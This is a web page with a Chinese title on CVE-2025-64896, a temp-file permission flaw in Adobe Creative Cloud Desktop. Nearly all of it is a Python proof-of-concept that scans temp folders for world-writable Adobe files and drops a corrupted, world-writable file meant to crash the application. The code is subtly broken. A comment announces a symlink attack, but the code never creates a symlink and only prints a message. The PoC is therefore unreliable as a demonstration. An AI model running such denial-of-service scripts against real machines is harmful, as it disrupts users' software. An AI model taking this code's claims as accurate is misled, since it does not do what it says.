CVE-2025-64896: Adobe Creative Cloud Desktop临时文件权限不当导致拒绝服务

# CVE-2025-64896 PoC - Adobe Creative Cloud Desktop Temporary File Permission Vulnerability # This PoC demonstrates the symlink attack to trigger DoS # Note: This is for educational and security research purposes only import os import sys import time import threading from pathlib import Path def monitor_temp_directory(): """ Monitor Creative Cloud temporary directory for newly created files """ temp_base = os.environ.get('TEMP', '/tmp') adobe_temp_patterns = ['Adobe', 'Creative Cloud', 'CC'] print(f"[*] Monitoring temporary directories in: {temp_base}") while True: try: for item in os.listdir(temp_base): item_path = os.path.join(temp_base, item) if any(pattern.lower() in item.lower() for pattern in adobe_temp_patterns): if os.path.isdir(item_path): print(f"[+] Found potential temp directory: {item_path}") # Check for writable files with insecure permissions for root, dirs, files in os.walk(item_path): for f in files: file_path = os.path.join(root, f) try: # Check if file is writable by others stat_info = os.stat(file_path) mode = stat_info.st_mode # Check world-writable permissions (dangerous) if mode & 0o002: # Others have write permission print(f"[!] Writable file found: {file_path}") print(f" Permissions: {oct(mode)}") # Attempt to create symlink to critical file target = os.path.join(root, f"corrupted_{f}") try: if os.path.exists(target): os.remove(target) # This would cause DoS when app tries to read the symlink print(f"[*] Potential symlink attack vector: {target}") except: pass except (PermissionError, FileNotFoundError): continue except Exception as e: print(f"[-] Error during monitoring: {e}") time.sleep(2) def exploit_creative_cloud(): """ Simulate exploitation by creating conflicting files in temp directory """ print("[*] Simulating Creative Cloud temp file exploitation...") # In real scenario, this would target specific temp files used by Creative Cloud temp_dir = os.path.join(os.environ.get('TEMP', '/tmp'), 'AdobeTemp') try: os.makedirs(temp_dir, exist_ok=True) # Create a file with insecure permissions (world-writable) malicious_file = os.path.join(temp_dir, 'CC_Temp_Corrupt.dat') # Create file with overly permissive mode (demonstrating the vulnerability) with open(malicious_file, 'w') as f: f.write('CORRUPTED_DATA_DOES_NOT_WORK') # Set world-writable permissions (demonstrating the security issue) os.chmod(malicious_file, 0o777) print(f"[+] Created malicious temp file: {malicious_file}") print(f"[!] File is world-writable - demonstrates permission vulnerability") print(f"[*] When Creative Cloud reads this file, it may crash or malfunction") except Exception as e: print(f"[-] Exploitation simulation failed: {e}") if __name__ == '__main__': print("="*60) print("CVE-2025-64896 PoC - Adobe Creative Cloud Desktop") print("Temporary File Directory with Incorrect Permissions") print("="*60) # Run monitoring in background monitor_thread = threading.Thread(target=monitor_temp_directory, daemon=True) monitor_thread.start() # Run exploitation simulation time.sleep(1) exploit_creative_cloud() print("\n[*] Monitoring continues... Press Ctrl+C to exit") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[!] Exiting...") sys.exit(0)